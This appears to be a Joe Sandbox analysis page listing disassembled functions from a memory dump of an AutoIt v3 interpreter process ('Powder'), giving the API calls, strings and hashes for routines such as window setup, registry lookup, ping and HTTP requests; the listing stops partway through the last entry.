Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 076804ced08af52a458d8bd8b7d26309d3ca95e09bcf316fd9fb9eab3a849b30
Instruction ID: 731aab322ad5516bf6455cf57c5d42d7ae5ff3ae4d9fbc0a30eed14797c3e25c
Opcode Fuzzy Hash: 076804ced08af52a458d8bd8b7d26309d3ca95e09bcf316fd9fb9eab3a849b30
Instruction Fuzzy Hash: 9BE0D8714915069F43106739FC0D4EA776CDF46379F500B07F535E10E0E77099484795

Function 00E094E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37debc1700e7dc3dabfe5b8371dc44f24f6da5634b39824b5ef009be5b22997b
Instruction ID: 894aa6d4570d637b712c27dde39399a6e3c057129637bc84b3e1cb14821a6465
Opcode Fuzzy Hash: 37debc1700e7dc3dabfe5b8371dc44f24f6da5634b39824b5ef009be5b22997b
Instruction Fuzzy Hash: 7422AC70A00216CFDB14DF54D880AAEB7F0FF45304F14916AE956BB393E771A981CBA1

Function 00E0BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00E0BF57

Part of subcall function 00E052B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E052E6

Sleep.KERNEL32(0000000A,?,?), ref: 00E436B5

Strings

@GUI_CTRLID, xrefs: 00E4376C
@GUI_CTRLHANDLE, xrefs: 00E43816
@TRAY_ID, xrefs: 00E43FCD
@COM_EVENTOBJ, xrefs: 00E43D2E
@GUI_WINHANDLE, xrefs: 00E437C1
CALL, xrefs: 00E0C277

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 9a284d574e466d78dd2a417efc6397e963de1994bc8f52ec5138d9c5b3614332
Instruction ID: 90cbffbe6c0e40e339349711a70b2d1b7b55ceabef24abdffa103dab3d5f12ea
Opcode Fuzzy Hash: 9a284d574e466d78dd2a417efc6397e963de1994bc8f52ec5138d9c5b3614332
Instruction Fuzzy Hash: 32C2BE70608341DFD728DF24D884BAAB7E5BF84304F14691DF59AB72A1CB71E985CB82

Function 00E033E6 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E03444
RegisterClassExW.USER32(00000030), ref: 00E0346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E0347F
InitCommonControlsEx.COMCTL32(?), ref: 00E0349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E034AC
LoadIconW.USER32(000000A9), ref: 00E034C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E034D1

Strings

0, xrefs: 00E03426
+, xrefs: 00E0342D
AutoIt v3 GUI, xrefs: 00E03460
TaskbarCreated, xrefs: 00E03474

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a8bcd22bdef571ba5fb913c7ff40467deaec6cddc9376444dc90b54af46fb3c7
Instruction ID: 6fef5f9f642ed5218bef890c9d88d2397a353555d9b7d66c3302124c5d484f58
Opcode Fuzzy Hash: a8bcd22bdef571ba5fb913c7ff40467deaec6cddc9376444dc90b54af46fb3c7
Instruction Fuzzy Hash: 92313CB28443199FDB409FA5DC89ACDBBF0FF09320F10456BE590B62A0D7B5054ACF91

Function 00E03411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E03444
RegisterClassExW.USER32(00000030), ref: 00E0346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E0347F
InitCommonControlsEx.COMCTL32(?), ref: 00E0349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E034AC
LoadIconW.USER32(000000A9), ref: 00E034C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E034D1

Strings

0, xrefs: 00E03426
+, xrefs: 00E0342D
AutoIt v3 GUI, xrefs: 00E03460
TaskbarCreated, xrefs: 00E03474

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 586029a3b5b3683548a5ea7b7c225b426acc28d190a0fe3490626a6a2ea6f922
Instruction ID: 7f53ddc85371ce5fb83796b8c0bc0b696c082a42b5cf05928f0805fbed5a638a
Opcode Fuzzy Hash: 586029a3b5b3683548a5ea7b7c225b426acc28d190a0fe3490626a6a2ea6f922
Instruction Fuzzy Hash: 9721E7B2914319AFDB409F96EC49B9D7BF4FB08710F40411BF650B62A0D7B21549CF91

Function 00E12FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E200CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00E13094), ref: 00E200ED

Part of subcall function 00E208C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00E1309F), ref: 00E208E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00E130E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00E501BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00E501FB
RegCloseKey.ADVAPI32(?), ref: 00E50239
_wcscat.LIBCMT ref: 00E50292

Strings

\, xrefs: 00E502B5
Software\AutoIt v3\AutoIt, xrefs: 00E130D8
Include, xrefs: 00E501B1, 00E501F2
\Include\, xrefs: 00E1309F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: ac828dad5c8e583c69629e8180ccd40ffdb101b356f11452eb58b37fe0856d03
Instruction ID: 5258c41fbd15512946df21ddcdd512acfd92d186bc790822dfc60271e9efe12c
Opcode Fuzzy Hash: ac828dad5c8e583c69629e8180ccd40ffdb101b356f11452eb58b37fe0856d03
Instruction Fuzzy Hash: 93715C715057119EC708EF26EA45DABBBE8FF84340F40292EF545A22B1EF319989CB52

Function 00E1514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E15156
LoadCursorW.USER32(00000000,00007F00), ref: 00E15165
LoadIconW.USER32(00000063), ref: 00E1517C
LoadIconW.USER32(000000A4), ref: 00E1518E
LoadIconW.USER32(000000A2), ref: 00E151A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00E151C6
RegisterClassExW.USER32(?), ref: 00E1521C

Part of subcall function 00E03411: GetSysColorBrush.USER32(0000000F), ref: 00E03444
Part of subcall function 00E03411: RegisterClassExW.USER32(00000030), ref: 00E0346E
Part of subcall function 00E03411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E0347F
Part of subcall function 00E03411: InitCommonControlsEx.COMCTL32(?), ref: 00E0349C
Part of subcall function 00E03411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E034AC
Part of subcall function 00E03411: LoadIconW.USER32(000000A9), ref: 00E034C2
Part of subcall function 00E03411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E034D1

Strings

0, xrefs: 00E151FA
#, xrefs: 00E15201
AutoIt v3, xrefs: 00E1520B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 7db39475322aa599173633a017e175bf09883263e97b4733819ef8e0dcfa8813
Instruction ID: 4db612c1e82311082b9788200b4134b8227b7c55bee0ded8387b8689227185cf
Opcode Fuzzy Hash: 7db39475322aa599173633a017e175bf09883263e97b4733819ef8e0dcfa8813
Instruction Fuzzy Hash: 942148B1A04308AFEB149FAAED09F9D7BB4FB48320F00012AF544B62B0D7B655598F84

Function 00E75E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00E75E7E
inet_addr.WSOCK32(?,?,?), ref: 00E75EC3
gethostbyname.WS2_32(?), ref: 00E75ECF
IcmpCreateFile.IPHLPAPI ref: 00E75EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00E75F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00E75F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00E75FD8
WSACleanup.WSOCK32 ref: 00E75FDE

Strings

Ping, xrefs: 00E75F01

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 429bf64bbee6265233475a887f1ead98e5cefbf46e67a6aa7d6f34a31fa679dd
Instruction ID: 0e22da0be17f79d64a2bd6dd803db4dbf3f43dcff090f7c0df5a749cb55e3cc8
Opcode Fuzzy Hash: 429bf64bbee6265233475a887f1ead98e5cefbf46e67a6aa7d6f34a31fa679dd
Instruction Fuzzy Hash: C351B0326046019FD720EF25CD45B6AB7E0EF48714F14991AF999FB2E1DBB0E944CB42

Function 00E14D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00E14E22
KillTimer.USER32(?,00000001), ref: 00E14E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E14E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E14E7A
CreatePopupMenu.USER32 ref: 00E14E8E
PostQuitMessage.USER32(00000000), ref: 00E14EAF

Strings

TaskbarCreated, xrefs: 00E14E75

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: aa07fd7d9871ee80fb1c452f4e88a6c26bbd5a434652b590282aba21d810ec78
Instruction ID: 7c142ce7f13896ee011988746b3d4caa148bb3e62c4e482dc0e6f64c92d991ad
Opcode Fuzzy Hash: aa07fd7d9871ee80fb1c452f4e88a6c26bbd5a434652b590282aba21d810ec78
Instruction Fuzzy Hash: 56413CF2208205AFDB195F649D09FFE3695F780305F00252AF941B93E1CB729CD99B61

Function 00E720E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00E7211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00E72148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00E7218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00E7219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E721AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00E721DC
InternetCloseHandle.WININET(00000000), ref: 00E72223

Part of subcall function 00E72B4F: GetLastError.KERNEL32(?,?,00E71EE3,00000000,00000000,00000001), ref: 00E72B64
Part of subcall function 00E72B4F: SetEvent.KERNEL32(?,?,00E71EE3,00000000,00000000,00000001), ref: 00E72B79

Strings

, xrefs: 00E721CD

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 7c866dc717bc12b155255ed5b6ce369d24eef59c120c5ec8f9ede6050430eede
Instruction ID: 138c1a44095ea000ea44ecdaf5be649cf0c04249935f8ed1f6e2195e37d68c0d
Opcode Fuzzy Hash: 7c866dc717bc12b155255ed5b6ce369d24eef59c120c5ec8f9ede6050430eede
Instruction Fuzzy Hash: 29414DB1501218BEEB129F51DC85FBB7BACFF08354F00911BFA19AA152D770DE459BA0

Function 00E156F8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00E50C5B

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

_memset.LIBCMT ref: 00E15787
_wcscpy.LIBCMT ref: 00E157DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E157EB
__swprintf.LIBCMT ref: 00E50CD1

Strings

,z, xrefs: 00E15756
AutoIt - , xrefs: 00E15760
Line %d: , xrefs: 00E50CCB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $,z$AutoIt -
API String ID: 230667853-3046949335
Opcode ID: e1016201fe6726c04fdaa87dbf03b5323239eb5655cbec80e73329afa992626c
Instruction ID: dc83504c4f14e8632e9ef1bb9259860ba3bffb8e7050910ae106afb44b872c54
Opcode Fuzzy Hash: e1016201fe6726c04fdaa87dbf03b5323239eb5655cbec80e73329afa992626c
Instruction Fuzzy Hash: 0141A6B1008300AEC325EB60DC45EDFB7DCAF84354F101A1EF595B21A2DB709689CB96

Function 00E150DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00E15109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00E1512A
ShowWindow.USER32(00000000), ref: 00E1513E
ShowWindow.USER32(00000000), ref: 00E15147

Strings

edit, xrefs: 00E15124
AutoIt v3, xrefs: 00E15101, 00E15106, 00E15107

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ce967d2af396b2b7a2047649d2ce50725c169867675c10893953f5961153dda6
Instruction ID: d136fd33d7f73e6753ddc60775e4d46d660cd7d1300e8146cd28c48a161a9d4e
Opcode Fuzzy Hash: ce967d2af396b2b7a2047649d2ce50725c169867675c10893953f5961153dda6
Instruction Fuzzy Hash: 24F0DAB15452947EEA351767AC49E272E7DD7C6F60F00012AB940B21B0C6A61856DEB0

Function 00E69B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E14A8C: _fseek.LIBCMT ref: 00E14AA4

Part of subcall function 00E69CF1: _wcscmp.LIBCMT ref: 00E69DE1
Part of subcall function 00E69CF1: _wcscmp.LIBCMT ref: 00E69DF4

_free.LIBCMT ref: 00E69C5F
_free.LIBCMT ref: 00E69C66
_free.LIBCMT ref: 00E69CD1

Part of subcall function 00E22F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00E29C54,00000000,00E28D5D,00E259C3), ref: 00E22F99
Part of subcall function 00E22F85: GetLastError.KERNEL32(00000000,?,00E29C54,00000000,00E28D5D,00E259C3), ref: 00E22FAB

_free.LIBCMT ref: 00E69CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00E69B8F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 0010f0009c31970662b4374649c677de9514f91a4f9e1ed852f482644a317b30
Instruction ID: da901fcc8af58a8f48bf9cd266f996e5fd40e228ec916cec2762c26bcd29d724
Opcode Fuzzy Hash: 0010f0009c31970662b4374649c677de9514f91a4f9e1ed852f482644a317b30
Instruction Fuzzy Hash: 95513CB1A44219AFDF249F64DC41AAEBBB9FF48304F00109EB259B3381DB715A80CF59

Function 00E2563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E2569B
_memcpy_s.LIBCMT ref: 00E2570D
__read_nolock.LIBCMT ref: 00E2576B
__filbuf.LIBCMT ref: 00E2578E
_memset.LIBCMT ref: 00E257D2

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 470771d652cfeab87759194da40312f79e79ea1c9f4383f766d4df645593ad97
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: D551B632A00B25DBDB248F69EA846AE77B5EF40324F24972AF835B62D0D7709D509F40

Function 00E052B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E052E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E0534A
TranslateMessage.USER32(?), ref: 00E05356
DispatchMessageW.USER32(?), ref: 00E05360

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 1e17e10f56ede4406849b571d8c87c96e531908e0d3cb670e3b94ee58bde15da
Instruction ID: 4596ee653dd5e2d6fe59a4276ad5d3ea605b5f894d62376a678a96bda0c387ad
Opcode Fuzzy Hash: 1e17e10f56ede4406849b571d8c87c96e531908e0d3cb670e3b94ee58bde15da
